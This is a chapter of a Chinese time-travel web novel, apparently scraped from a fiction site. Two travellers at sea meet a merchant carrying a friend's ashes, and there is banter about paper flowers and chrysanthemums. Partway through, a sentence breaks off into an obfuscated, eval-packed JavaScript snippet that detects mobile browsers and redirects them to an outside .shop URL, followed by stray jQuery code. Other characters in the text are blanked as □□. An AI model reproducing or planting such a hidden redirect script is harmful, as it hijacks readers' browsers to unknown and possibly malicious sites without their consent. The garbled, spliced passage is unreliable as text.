赵清之凭栏立在不来梅号的甲板上，望着烟囱里滚滚升腾的浓黑烟柱，在铅灰色的海空中拖出长长的尾迹。
海风裹挟着煤烟与咸腥扑面而来，船身随着浪涛微微起伏，钢铁巨兽的轰鸣震得脚下甲板微微发麻，他心中满是对工业文明难以言喻的震撼。
时值秋日，海上无桂香，唯有咸涩的风日夜不息。他却忽然想起临安的秋天，想起西子湖畔那满城浮动的甜香。
那时节他总爱约上三五知己，泛舟湖上，就着满船桂影饮下新酿的桂花酒，从诗词歌赋聊到此生梦想。直待到月上中天，方才兴尽而归。
如今他孤身一人，漂泊在这全然陌生的时空里。不知临安的那些友人们，是否还在为他的突然失踪牵肠挂肚？思念如潮水般漫上心头。
他也曾翻遍了这个时代他能找到的各种史书方志，盼着能寻到一丝关于昔日挚友们的蛛丝马迹，想知道他们后来是否平安顺遂，好奇他们度过了怎样的一生。
可惜终究是一无所获。
原来那些曾与自己朝夕相伴、推心置腹的人，在浩荡的历史长河中，不过是无关紧要到连名字都不曾留下的一粒尘埃。
自登船那日起，宋槐安便再没力气同他插科打诨。晕船的滋味磨得她整个人蔫得像被秋霜打透的茄子，别说拌嘴吵架，便是张嘴说句话，都觉得耗光了浑身气力。
临行前，他们买了好几斤新酿的桂花酒，尽数装进了那只在窑厂亲手捏制、烧得歪歪扭扭却视若珍宝的酒坛里。原本预备插花的青瓷瓶、放笔的竹笔筒，也被两人塞得满满当当，一罐是甜香扑鼻的桂花酱，一罐是酥软的桂花糕。
那日在码头边，宋槐安还买了一串茉莉花手串戴在腕间，捏着雪白的花瓣叹道：“可惜桂花太小太娇弱，不然做成手串戴在身上，一路都能闻着香。”赵清之闻言没作声，只若有所思地点了点头。
这日宋槐安正捂着胸口趴在船舷边犯恶心，胃里翻江倒海之际，一支缀着簇簇金桂的发簪忽然递到了眼前。她抬眼，撞进赵清之写满得意的眸子，有气无力地问：“你什么时候偷偷带桂花上船的？这是粘上去的？能放多久啊？”
“你要不再仔细看看？”
宋槐安疑惑地伸出指尖，刚触到那软乎乎的花瓣便觉不对。手感不是真花的娇嫩易折，而是一种轻盈柔韧的质感。她惊得眼睛都圆了，语气难得带了几分真心的好奇：“这不是真花？是纸糊的？怎么做到的？和真花一模一样！”
“用通草纸做的。上船前我揣了几张在行李里，这几日看你蔫头耷脑的，闲着也是闲着，就随手做了点小玩意。”
“通草花？从前倒是听人说起过，还是非遗呢，说是能做得跟真花一般无二，不过从没见过实物。”宋槐安说着便抬手将发簪插在了发上，金晃晃的一簇衬得她苍白的脸颊都添了几分气色。
赵清之抱着胳膊，明知故问道："你倒不客气，我什么时候说要送你了？"
难得碰上一眼就喜欢的东西，宋槐安换上了少有的谄媚嘴脸：“嗨，咱俩谁跟谁啊，你说是吧？再说了，不送我你递到我眼前干什么？总不能是纯显摆吧？你不是那种人！话又说回来了，我是因为谁上的这趟贼船？你送我就当赔罪了。”
宋槐安又眼尖地瞥见他藏在身后的那只手，“别藏了，我都看见了，还有朵大牡丹呢。合着这朵小的给我看个新鲜，那朵大的才是你给自己留的？”
赵清之笑嘻嘻地把藏在身后的那朵碗大的通草牡丹拿出来，大大方方地别在了自己鬓边，挑眉问她："怎么样？好看吗？"
宋槐安紧咬着下唇才没笑出声：“赵清之，我知道你们宋人有男子簪花的雅好，但你是不是忘了自己现在是什么发型？前半拉脑袋剃得光溜溜的，又不是从前束发的时候……一颗油光水滑的卤蛋旁边簪朵国色天香的牡丹，怎么，这卤蛋是牡丹的奢侈品配货啊？我要是想要那朵花，还得先把那颗蛋一并收下不成？”
赵清之的笑容顿时僵在脸上，蔫头耷脑地摘下了鬓边的牡丹，没好气道：“我那还有点剩下的浆糊，你要不拿点糊自己嘴上吧？省得张嘴就气人。”
赵清之转身回了舱房，宋槐安以为他回去补觉了，正想再好好感受感受海风，一转身就见他捧着一支重瓣□□又回来了。
宋槐安瞳孔猛地一缩，差点没站稳：“好端端的，你做菊花干什么？”
“先前给你做桂花枝剩下些黄色颜料，我调了调深浅，一时想不起还有什么别的黄花，索性就做了支□□。”
“不是？向日葵是什么稀罕玩意儿吗？腊梅不也是黄的？”宋槐安简直要气笑了，指着那朵开得正盛的□□急道，“真是太吉利了！本来这一路就得提心吊胆，你还举着朵菊花，你生怕我们这一路太风平浪静是不是？”
“菊花怎么了？”赵清之满脸不解，轻轻晃了晃手中的花，语气里满是委屈，“我做它花的时间比那支牡丹还久呢，你怎么这么不待见它？这可是高洁、长寿、隐逸的花中君子，哪里惹你了？”
“我说赵清之，”宋槐安伸手探了探他的额头，“你没发烧吧？还是偷摸喝酒了？谁不知道菊花的寓意，可问题是□□、白菊，这两花除了坟头和清明，你还能在别的地方见着有人摆吗？”
赵清之的眉头皱得更紧了，一脸茫然：“啊？为什么？好好的菊花，怎么会出现在坟头？又和清明有什么关系？祭祀用吗？可祭祀不都是烧纸钱、纸马，点香烛吗？我活了这么大，从没听说哪家丧礼用鲜花的啊……宋槐安，你说得该不会是那些洋人的怪规矩吧？”
宋槐安被他问得一愣，仔细一想才反应过来，菊花和死亡相关的联想，确实不是古已有之，而是近百年才从西方传过来的舶来品。
她扶着额头，哭笑不得地叹了口气：“赵爷爷，算了，不怪你，当然也不怪我。你喜欢就举着吧，这可能就是我们之间的代沟吧。”
“我就是给你看看，我打算带回去送我姐的，她应该会喜欢的。”
宋槐安脑部了一下假如能顺利回家，一进赵清如房间就看到桌案上的花瓶里插着只□□的画面，提议道：“……别吧，要不咱还是考虑换种花呢？”
忽听身后传来一口广东口音的普通话：“好精致的菊花，不知赵贤弟可否借我一观？”
二人循声回头，正是他们从上海启航时偶遇的那位广东药商林如是。彼时他正急得团团转，背着、拎着大包小包的药材行囊。原来他原定北上的船班临时取消，可他在山东的生意早已约定期限，实在走投无路才厚着脸皮向他们求助。赵清之虽明言此行风险未知，他却半点犹豫也无，执意要搭船北上。
赵清之笑着将花递了过去，语气十分爽朗：“林兄说的哪里话，不过一支纸花罢了。你若真心喜欢，便送你便是。我姐姐那支，回头我再重新做一支就是。”
林如是接过花细细端详，指尖轻轻抚过花瓣的纹路，口中不住赞叹，那诧异的语气与方才宋槐安如出一辙。赵清之见他捧着花爱不释手，眼神里满是真心的喜爱与叹服，便索性将花塞到他手里。
林如是小心翼翼收好花，转头看向宋槐安，语气格外关切：“宋小姐，听赵贤弟说你晕船晕得厉害。我行囊里正好备着些上好的半夏、生姜和茯苓，方才去厨房熬了一锅小半夏汤，等会儿我给你送过去吧？”
说着他又从怀里摸出一只沉香香囊递给她，说这香囊能安神定眩，戴在身上能缓解不少。又耐心教她两个应急的穴位：一个是腕横纹上两寸的内关穴，一个是虎口处的合谷穴，叮嘱她若是喝了汤仍觉得头晕恶心，便多按揉这两个穴位。
宋槐安连忙向他道谢，又温声劝他不必如此客气：“林先生，你不用这么客气。让您登船不过是举手之劳，不必一直放在心上。”
赵清之也点头道：“她说得没错。林兄这几日已经帮了我们大忙，我们那点忙你早就还清了，你不欠我们的。昨天那德国船长临时要加收我们什么战争风险费，若不是您精通德语，跟他据理力争，我们还真不知道要被讹去多少银子。再说，能与林兄这样的人相识，本就是赵某的荣幸。说起来您和我姐姐倒有几分相似，都是极有语言天分的人。这几日跟着您学了不少广东话和上海话，倒是添了不少乐趣。”
一提起那笔战争风险费，宋槐安的火气就噌地冒了上来。那德国船长的英语糟糕得令人上火，船上倒是有个荷兰水手英语不错，可德语也半吊子，翻出来的话颠三倒四。
宋槐安本来就昏昏沉沉的，连蒙带猜才凑明白船长的意思——得加钱。
面对毫无道理的临时加价，她起初还耐着性子用英语跟他讲道理，没说几句她就发现骂人还得用母语才够解气。
最后她忍无可忍，甩下一句她觉得对方绝对能听懂的“Fuck”，又竖了个中指后扭头就走。
在赵清之和荷兰水手面面相觑的时候，还是萍水相逢的林如是出面，用他那带着广东口音的德语混着英语，跟那船长摆合同、讲道理，软硬兼施说了半个多钟头，硬是把这场本不该生出的争端给平了，一分钱额外的费用最后都没让他们出。
经此一事，赵清之对这位谈吐得体、临事不乱的广东药商，好感度可以说与日俱增。
航程过半，宋槐安照着林如是教的法子试了试，竟立竿见影。虽仍比不上在陆地上安稳自在，胸口那股翻江倒海的窒闷感却散了大半，整个人都清爽了不少。
她随口问起，既然他通晓这么多国语言，怎么没想过做翻译，反倒要这般辛苦地跑生意。林如是笑了笑，说语言于他不过是谋生的工具，他从不是肯沉下心钻研学问的性子。不过是父亲早年在洋行做买办，他自小耳濡目染，才有了这份得天独厚的条件。应付生意上的日常往来尚可，真要做了专业翻译，怕是要处处露怯的。
宋槐安注意到他提起父亲时，眼底掠过一丝不易察觉的黯然，便顺势多问了两句家事。这才知道，他年少时父母双双在出海途中遇难，是祖父母将他拉扯大的。如今自己也常年走南闯北，才真正体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600288|204174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会到当年父母养育他的不易。
听他断断续续地讲着那些遥远模糊的童年往事，感怀于相似的身世，宋槐安鼻尖一酸，眼眶不知不觉就湿了，轻声叹道：“一个人长大，一定很辛苦吧。”
林如是猝不及防被这句安慰打断了思绪，微微一怔，似是感到意外。他沉默了几秒，再开口时，竟忘了方才说到了哪里。
正说着，话题被端着午餐进来的赵清之打断。他一眼瞥见宋槐安泛红的眼眶，登时满脸诧异，凑到她耳边压着声音调侃：“不至于，真不至于。我承认他长得是还行，也就比我差那么一丢丢。但你总不能见个帅哥就哭成这样吧？以后要是遇上更俊的，你不得涕泗横流？”
宋槐安无语地翻了个白眼：“……滚远点，别逼我在外人面前揍你。”
赵清之的目光扫过舱房角落，落在那只素白的瓷坛上。他忽然想起，登船那日林如是便一直将这坛子抱在怀里，护得严严实实，仿佛里面装的不是别的，是满坛的金条。他随口便问了一句里面装的什么。
林如是喉结动了动，声音带着一丝不易察觉的哽咽：“是我一位故友的骨灰。这次去山东，除了生意，也是要将他送回父母身边，让他落叶归根。”
宋槐安当即用手肘狠狠撞了赵清之一下，压低声音嗔责道：“真有你的，哪壶不开提哪壶，准头永远这么好。”
赵清之脸色一白，慌忙摆手道歉，话都说不利索了：“对不住对不住，我真不知道，我还以为是什么值钱的贵重东西呢。”
宋槐安难以置信地瞧了一眼他，林如是只是轻轻摇了摇头，眼神沉了下去：“不值钱，的确是最贵重的东西。他是为了救我才死的。若不是他，也就没有今天的我了。”
赵清之瞬间噤声，饭桌上一时只剩下碗筷轻碰的声响。他低着头扒拉着米饭，心里满是懊恼，怀着一种半夜坐起来都想扇自己两嘴巴的心情，他觉得自己还是闭嘴不给人添堵最好。
林如是沉默了许久，才用带着浓重鼻音的喑哑声音开口：“宋小姐、赵贤弟，在下有个不情之请，不知二位能否帮我这个忙？”
不等宋槐安应声，怀着赎罪心态的赵清之立刻挺直了背，几乎是抢着说道：“你说，只要不是要我这条命，上刀山下火海都行！”
“我这位朋友是烟台人，当年千里迢迢去广州谋生路，我们才相识的。因为我们都是没有兄弟姐妹的人，相识后可以说亲如兄弟。上个月我们一同去台湾进货，途中不幸遇上了海盗，是他拼死护着我，才让我活了下来……”林如是顿了顿，指尖用力攥紧了桌沿，“他是家里独子，我实在无颜去见他的父母，可又不能不把他送回去。能不能……能不能请二位在船到威海卫停泊的那两天，替我走一趟烟台？我会修书一封，把前因后果都讲清楚。”
赵清之听得鼻子发酸，用力点头：“你放心，这事包在我们身上，一定让他安安稳稳落叶归根。”
林如是又从随身的皮箱里取出两张银票，轻轻推到两人面前，声音低得几乎听不见：“这一千两银子，也麻烦二位替我转交给他的父母。我知道这点钱换不回他们的儿子，只求能让两位老人晚年过得安稳些。”
赵清之红着眼眶应下，在宋槐安的注视下，小心翼翼地将银票折好，收进了贴身的衣袋里。
“这一路真是平安啊。”宋槐安的声音带着一丝庆幸，“半分惊扰都没有，船肯定能按时到山东。算着日子，也就两三天的事了。事不宜迟，林先生，我们现在就写信吧。”
林如是深吸一口气压下翻涌的情绪，点了点头。他取出素笺铺平，手颤抖了几下，才稳稳落了下去。
宋槐安立在一旁，见他写着写着便几度哽咽，肩头微微颤动，滚烫的泪珠砸在墨迹未干的字行上，晕开一片模糊的水痕。
她连忙递过一方素帕，温声安慰道：“无妨的，林先生，您只管接着写便是。等您写完，我替您誊抄一份工整的，好给两位老人家送去。”
她望着他执笔的手，见其腕力沉实，一笔一画端正舒展，显见是下过苦功的。可细看之下，宋槐安又生出几分疑惑。寻常人写字多循先横后竖的章法，他却偏偏反其道而行，落笔总先写竖画，再补横画。比起说是在写字，他更像在画字。
她问出了自己的疑惑，林如是的笔一顿，他不好意思地笑了笑，解释道：“这是我打小就有的顽疾，祖父当年为了纠正我，不知罚我抄了多少遍千字文，可我总也改不过来。后来他年纪大了，也懒得再管我，便由着我这般随心所欲地写了。”
宋槐安目光停在他的落款上，忽然吟出了一句诗：“我见青山多妩媚，料青山见我应如是——岭南确实青山连绵，林先生这名字，当真取得应景。”
赵清之摇摇头：“你怎么就咬定是青山的如是？万一林家信佛，就不能是‘如是我闻’的如是？”
宋槐安斜睨他一眼，吐出两个字：“杠精。”
林如是瞧着两人，挠了挠后颈，露出一个局促又腼腆的笑。